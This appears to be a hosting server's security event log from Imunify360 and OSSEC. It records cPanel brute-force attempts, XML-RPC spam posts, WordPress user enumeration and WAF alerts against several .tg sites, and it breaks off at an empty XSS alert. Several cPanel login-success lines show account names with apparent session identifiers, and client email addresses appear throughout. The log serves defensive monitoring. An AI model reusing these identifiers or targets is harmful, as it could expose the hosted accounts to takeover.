description:
Jun 16 12:59:09 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.129.80.138 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 186.226.231.154
country_id: 3469034
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ec14366e41b080b6bbac9ea5ec12181a673e2192||Title:2xqo193gm4zayodre5||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 180.247.60.238
country_id: 1643084
description:
180.247.60.238 - - [16/Jun/2026:12:59:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9726060&pdata=https%253A%252F%252Ftogodailynews.tg%252Fecobank-fintech-challenge-2024-le-groupe-ecobank-annonce-les-finalistes%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781614773 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/ecobank-fintech-challenge-2024-le-groupe-ecobank-annonce-les-finalistes/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.6411.1655 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:180.247.60.238


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 186.226.231.154
country_id: 3469034
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0d304c44fdf0a0fb74a6a407143fb8b112120dc2||Title:2w6utafvx0krw5v84e||RSV:8.17||T:APACHE||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - kagbekoh@davakconsulting.com [06/16/2026:13:03:08 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: kagbekoh@davakconsulting.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.201.127.211
country_id: 1814991
description:
Jun 16 13:02:51 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.201.127.211 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 81.226.205.128
country_id: 2661886
description:
[2026-06-16 13:03:12 +0000] info [cpaneld] 81.226.205.128 - sma "GET /login/?login_only=1&user=sma&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sma (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-16 13:03:14 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:36594: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.201.127.211
country_id: 1814991
description:
2026-06-16 13:02:53 dovecot_plain authenticator failed for H=(z7b76gz897xm9wzqc9wpu1lrzfhbwr9k) [111.201.127.211]:34716: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.22.57.28
country_id: 3865483
description:
[2026-06-16 13:02:55 +0000] info [cpaneld] 186.22.57.28 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 171.236.20.75
country_id: 1562822
description:
[2026-06-16 13:02:59 +0000] info [cpaneld] 171.236.20.75 - smarty "GET /login/?login_only=1&user=smarty&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user smarty (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.245
country_id: 1643084
description:
[2026-06-16 13:03:02 +0000] info [cpaneld] 185.213.83.245 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.100.107.59
country_id: 3658394
description:
[2026-06-16 13:03:06 +0000] info [cpaneld] 157.100.107.59 - smart "GET /login/?login_only=1&user=smart&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user smart (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:13:03:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10317159&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781614987 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.163.26
country_id: 1880251
description:
104.28.163.26 - - [16/Jun/2026:13:03:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13329254&pdata=http%253A%252F%252Ftogodailynews.tg%252Fuemoa-des-reformes-ambitieuses-pour-une-croissance-inclusive-en-afrique-de-louest%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781614996 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/uemoa-des-reformes-ambitieuses-pour-une-croissance-inclusive-en-afrique-de-louest/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.163.26


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.59.148.121
country_id: 3686110
description:
[2026-06-16 13:05:05 +0000] info [cpaneld] 181.59.148.121 - cenitg "GET /login/?login_only=1&user=cenitg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cenitg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.69.163.238
country_id: 290291
description:
[2026-06-16 13:05:08 +0000] info [cpaneld] 77.69.163.238 - cen "GET /login/?login_only=1&user=cen&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cen (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.131.42.222
country_id: 290291
description:
[2026-06-16 13:05:08 +0000] info [cpaneld] 37.131.42.222 - cenitg "GET /login/?login_only=1&user=cenitg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cenitg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.43.215.210
country_id: 2017370
description:
[2026-06-16 13:05:12 +0000] info [cpaneld] 31.43.215.210 - cen "GET /login/?login_only=1&user=cen&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cen (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.52.73.12
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/888477 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.7.148
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/la-mortalite-hospitaliere-recule_i1920-768x432.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/la-mortalite-hospitaliere-recule_i1920-300x169.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/la-mortalite-hospitaliere-recule_i1920-1024x576.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/06/la-mortalite-hospitaliere-recule_i1920-1536x864.webp 1536w, http:/togodailynews.tg/wp-content/uploads/2026/06/la-mortalite-hospitaliere-recule_i1920.webp 1920w HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 2.51.48.217
country_id: 290557
description:
[2026-06-16 13:07:13 +0000] info [cpaneld] 2.51.48.217 - zephyr "GET /login/?login_only=1&user=zephyr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user zephyr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.73.103.146
country_id: 3469034
description:
[2026-06-16 13:07:28 +0000] info [cpaneld] 177.73.103.146 - zep "GET /login/?login_only=1&user=zep&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user zep (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.223.160.155
country_id: 3469034
description:
[2026-06-16 13:07:32 +0000] info [cpaneld] 177.223.160.155 - ze "GET /login/?login_only=1&user=ze&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ze (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.223.73.172
country_id: 933860
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/education-et-nutrition-le-gouvernement-etend-les-cantines-scolaires-a-161-630-enfants_i1200-300x169.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/education-et-nutrition-le-gouvernement-etend-les-cantines-scolaires-a-161-630-enfants_i1200-1024x576.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/06/education-et-nutrition-le-gouvernement-etend-les-cantines-scolaires-a-161-630-enfants_i1200-768x432.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/education-et-nutrition-le-gouvernement-etend-les-cantines-scolaires-a-161-630-enfants_i1200.webp 1200w HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 148.222.222.101
country_id: 3865483
description:
[2026-06-16 13:09:54 +0000] info [cpaneld] 148.222.222.101 - devbas "GET /login/?login_only=1&user=devbas&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user devbas (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 113.53.4.105
country_id: 1605651
description:
[2026-06-16 13:10:06 +0000] info [cpaneld] 113.53.4.105 - dev "GET /login/?login_only=1&user=dev&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dev (has_cpuser_file failed)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 74.7.243.223
country_id: 6252001
domain: cloud-et-racks.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.17||T:APACHE||MV:/wp-json/wp/v2/users/1||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.75.216.166
country_id: 3469034
description:
[2026-06-16 13:14:02 +0000] info [cpaneld] 177.75.216.166 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 154.255.212.125
country_id: 2589581
description:
[2026-06-16 13:14:05 +0000] info [cpaneld] 154.255.212.125 - centif "GET /login/?login_only=1&user=centif&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.106.146.162
country_id: 1282988
description:
[2026-06-16 13:14:09 +0000] info [cpaneld] 103.106.146.162 - centiftg "GET /login/?login_only=1&user=centiftg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user centiftg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 161.142.150.52
country_id: 1733045
description:
[2026-06-16 13:14:13 +0000] info [cpaneld] 161.142.150.52 - centi "GET /login/?login_only=1&user=centi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user centi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 79.106.212.36
country_id: 783754
description:
[2026-06-16 13:14:12 +0000] info [cpaneld] 79.106.212.36 - centi "GET /login/?login_only=1&user=centi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user centi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.36.80.32
country_id: 286963
description:
[2026-06-16 13:14:18 +0000] info [cpaneld] 5.36.80.32 - cen "GET /login/?login_only=1&user=cen&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cen (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.141.115.192
country_id: 3469034
description:
[2026-06-16 13:14:21 +0000] info [cpaneld] 192.141.115.192 - ce "GET /login/?login_only=1&user=ce&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ce (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.168.213.180
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/03/PXL_20250322_161340222-copie-576x1024.webp 576w, http:/togodailynews.tg/wp-content/uploads/2025/03/PXL_20250322_161340222-copie-169x300.webp 169w, http:/togodailynews.tg/wp-content/uploads/2025/03/PXL_20250322_161340222-copie-768x1365.webp 768w, http:/togodailynews.tg/wp-content/uploads/2025/03/PXL_20250322_161340222-copie-864x1536.webp 864w, http:/togodailynews.tg/wp-content/uploads/2025/03/PXL_20250322_161340222-copie-1152x2048.webp 1152w, http:/togodailynews.tg/wp-content/uploads/2025/03/PXL_20250322_161340222-copie-scaled.webp 1440w HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.252.92.218
country_id: 3469034
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:104.252.92.218||TA:104.252.92.218||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.200.92.105
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1284714938 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 2.134.97.88
country_id: 1522867
description:
[2026-06-16 13:16:13 +0000] info [cpaneld] 2.134.97.88 - droitshum "GET /login/?login_only=1&user=droitshum&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user droitshum (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 217.117.166.186
country_id: 6252001
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:217.117.166.186||TA:217.117.166.186||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 27.125.244.24
country_id: 1733045
description:
[2026-06-16 13:15:53 +0000] info [cpaneld] 27.125.244.24 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.205.42.225
country_id: 290557
description:
[2026-06-16 13:15:56 +0000] info [cpaneld] 176.205.42.225 - droitshumains "GET /login/?login_only=1&user=droitshumains&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user droitshumains (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.127.245.166
country_id: 1210997
description:
[2026-06-16 13:15:59 +0000] info [cpaneld] 45.127.245.166 - droitshumainstg "GET /login/?login_only=1&user=droitshumainstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user droitshumainstg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.24.61.220
country_id: 99237
description:
[2026-06-16 13:16:05 +0000] info [cpaneld] 185.24.61.220 - droitshumai "GET /login/?login_only=1&user=droitshumai&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user droitshumai (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 118.70.85.208
country_id: 1562822
description:
[2026-06-16 13:16:18 +0000] info [cpaneld] 118.70.85.208 - droitshu "GET /login/?login_only=1&user=droitshu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user droitshu (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 31.223.189.138
country_id: 798544
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:31.223.189.138||TA:31.223.189.138||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 213.230.86.43
country_id: 1512440
description:
[2026-06-16 13:16:42 +0000] info [cpaneld] 213.230.86.43 - dr "GET /login/?login_only=1&user=dr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.157.1.205
country_id: 2542007
description:
[2026-06-16 13:16:42 +0000] info [cpaneld] 105.157.1.205 - kpmgtg "GET /login/?login_only=1&user=kpmgtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kpmgtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 110.76.128.170
country_id: 1210997
description:
[2026-06-16 13:16:46 +0000] info [cpaneld] 110.76.128.170 - kpm "GET /login/?login_only=1&user=kpm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kpm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 143.255.85.143
country_id: 3625428
description:
[2026-06-16 13:16:48 +0000] info [cpaneld] 143.255.85.143 - kp "GET /login/?login_only=1&user=kp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kp (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.204.223
country_id: 6252001
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:38.154.204.223||TA:38.154.204.223||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.114.24.188
country_id: 1282988
description:
[2026-06-16 13:16:26 +0000] info [cpaneld] 103.114.24.188 - droits "GET /login/?login_only=1&user=droits&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user droits (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 99.217.26.253
country_id: 6251999
description:
[2026-06-16 13:16:31 +0000] info [cpaneld] 99.217.26.253 - droi "GET /login/?login_only=1&user=droi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user droi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.46.9.165
country_id: 3865483
description:
[2026-06-16 13:16:37 +0000] info [cpaneld] 181.46.9.165 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 171.250.141.213
country_id: 1562822
description:
[2026-06-16 13:16:40 +0000] info [cpaneld] 171.250.141.213 - kpmg "GET /login/?login_only=1&user=kpmg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.189.41.171
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/149495027 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.250.204.76
country_id: 3144096
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:104.250.204.76||TA:104.250.204.76||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.70.53.60
country_id: 6252001
description:
54.70.53.60 - - [16/Jun/2026:13:17:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9792616&pdata=https%253A%252F%252Fsotranetogo.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781615871 HTTP/2.0" 302 0 sotranetogo.com "https://sotranetogo.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.70.53.60


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:13:18:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184853&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781615883 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.153.74
country_id: 2635167
description:
[2026-06-16 13:19:14 +0000] info [cpaneld] 5.230.153.74 - cetitiuu "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.168
country_id: 6252001
description:
[2026-06-16 13:19:19 +0000] info [cpaneld] 64.44.62.168 NEW abttogo:CRgupdFQWQbRgjGE address=64.44.62.168,app=cpaneld,creator=abttogo,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.152.169.227
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/education-et-nutrition-le-gouvernement-etend-les-cantines-scolaires-a-161-630-enfants_i1200-768x432.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/education-et-nutrition-le-gouvernement-etend-les-cantines-scolaires-a-161-630-enfants_i1200-300x169.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/education-et-nutrition-le-gouvernement-etend-les-cantines-scolaires-a-161-630-enfants_i1200-1024x576.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/06/education-et-nutrition-le-gouvernement-etend-les-cantines-scolaires-a-161-630-enfants_i1200.webp 1200w HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.151
country_id: 6252001
description:
[2026-06-16 13:19:45 +0000] info [cpaneld] 64.44.59.151 NEW glfmqhlj:bDo9of_KyOnIgrKc address=64.44.59.151,app=cpaneld,creator=glfmqhlj,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.153.33
country_id: 2635167
description:
[2026-06-16 13:19:59 +0000] info [cpaneld] 5.230.153.33 - xflhqsmv "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.211.88.153
country_id: 6252001
description:
[2026-06-16 13:20:10 +0000] info [cpaneld] 173.211.88.153 - ljrwwgxg "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.83.217.73
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/Seminaire-gouvernemental-le-Togo-trace-sa-trajectoire-vers-un-doublement-du-niveau-de-vie-a-lhorizon-2040-286x300.webp 286w, http:/togodailynews.tg/wp-content/uploads/2026/06/Seminaire-gouvernemental-le-Togo-trace-sa-trajectoire-vers-un-doublement-du-niveau-de-vie-a-lhorizon-2040-768x806.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/Seminaire-gouvernemental-le-Togo-trace-sa-trajectoire-vers-un-doublement-du-niveau-de-vie-a-lhorizon-2040.webp 800w HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.52
country_id: 2635167
description:
[2026-06-16 13:19:31 +0000] info [cpaneld] 5.230.153.52 NEW sadis:uiheMBLfmpYjKoSF address=5.230.153.52,app=cpaneld,creator=sadis,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.153.167
country_id: 2635167
description:
[2026-06-16 13:20:04 +0000] info [cpaneld] 5.230.153.167 - ubwmytwf "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: User ubwmytwf has their account suspended. Login blocked.


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.83.234
country_id: 6252001
description:
[2026-06-16 13:20:24 +0000] info [cpaneld] 134.195.83.234 NEW lfzqsiwv:_PAfHezz15Oz9G_a address=134.195.83.234,app=cpaneld,creator=lfzqsiwv,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 31.56.209.217
country_id: 290557
description:
2026-06-16 13:21:17 H=([31.56.209.217]) [31.56.209.217]:61817 F=<omar@firstmazoonsfund.com> rejected RCPT <info@ucao-uut.tg>: Mail to info@ucao-uut.tg has been suspended


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.184
country_id: 6252001
description:
[2026-06-16 13:21:19 +0000] info [cpaneld] 64.44.59.184 NEW zsfyjiji:9JQd9zvv6w41yOaW address=64.44.59.184,app=cpaneld,creator=zsfyjiji,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.153.38
country_id: 2635167
description:
[2026-06-16 13:20:40 +0000] info [cpaneld] 5.230.153.38 - apicafe "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
